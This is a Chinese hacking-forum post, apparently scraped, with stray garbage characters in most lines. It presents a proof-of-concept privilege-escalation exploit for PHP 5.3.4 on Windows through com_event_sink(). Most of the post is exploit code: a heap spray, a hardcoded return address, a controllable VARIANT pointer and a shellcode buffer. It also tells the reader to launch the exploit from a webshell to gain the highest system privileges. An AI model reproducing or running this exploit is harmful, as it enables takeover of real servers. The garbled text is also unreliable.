|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中" p6 _) d' }) ]4 Q
9 A' J% G# v& O6 R" O) A
测试方法如下:cmd /c x:\php\php.exe x:\test.php$ t) y7 y* p( ]% R: d. G/ ^) ~
2 c3 K, U |7 v& Y2 d* o3 O0 a
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php) A5 k/ Z& c7 y1 V( @
这里是两个测试的截图:
0 ~$ z2 A% A2 s! s, h; |4 F. E& S) _6 z8 w9 {6 A, f0 c6 c, g( F
9 e( }$ e$ F* z1 {1 _; Y
8 ?( T2 n. I' O0 S" w% |" w7 E
( ]8 L3 b3 a1 F
- O- |: M3 Y$ ]成功利用此漏洞的攻击者将获得系统的最高权限
4 a0 `. t1 @) z5 c6 N5 a# w2 Q: b& e1 r$ U! M1 X$ B3 U
8 z' i/ x! q' \. S2 D3 k/ R- m
' P0 a9 {. V! e- g: n# f8 ^4 ]
0 i: f1 z. @. J! f9 S( Q
/ \, p% M( o( Y/ D5 a关于漏洞分析稍后附上。一下是PoC代码:
# ~$ F' `1 G' _+ o2 i0 u, e* l% \, }9 k; K' O) {) E
<?php
, d! F0 \8 f( E//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞5 z* Q% X/ n9 I4 I
//$eip ="\x44\x43\x42\x41";" ` ^8 q% q, r
$eip= "\x4b\xe8\x57\x78";
, D- M, \8 {" K2 C$eax ="\x80\x01\x8d\x04";
; y. m6 C- a8 ^( j$ K: U4 }* ?$deodrant="";
0 {" }, l; G% y: }+ W2 y- t; W$axespray = str_repeat($eip.$eax,0x80);
% X& \& _1 X7 @//048d0190
# i$ ~+ g- m I& o- ~+ Qecho strlen($axespray);
7 h/ b" J$ d5 q7 C5 _echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
; i* K: y7 ~3 R4 ^: N' T9 mecho "Silic Group Hacker Army - BlackBap.Org";
0 y* i- u1 u' Y//19200 ==4B32 4b00
`, A; j! L( ` r# p8 Ifor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
) a7 _9 ?& g5 J2 }; h4 [6 h$terminate = "T";
* [ _ j3 C% e" r$u[] =$deodrant;
1 K- T3 y. h- V$r[] =$deodrant.$terminate;
8 Y" q8 t; R. Y# w$a[] =$deodrant.$terminate;
: B5 r2 o8 U2 V( c3 W' j! h$s[] =$deodrant.$terminate;5 _7 S6 X0 g" {- x, L% i2 a& N
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
/ e: G8 N3 B" ?% }, r; s- c: m$vVar = new VARIANT(0x048d0000+180);2 N X0 Q1 V8 V% N
//弹窗代码(Shellcode)
3 g/ S, ^' }) |! B$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
$ ^7 i8 v$ K! K# y7 t; ~: ]9 X$var2 = new VARIANT(0x41414242);
. b1 F. A+ t P8 X# fcom_event_sink($vVar,$var2,$buffer);
F1 }& `, }4 a$ f% R+ C) J+ t?>
& k( |5 x; \- V |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|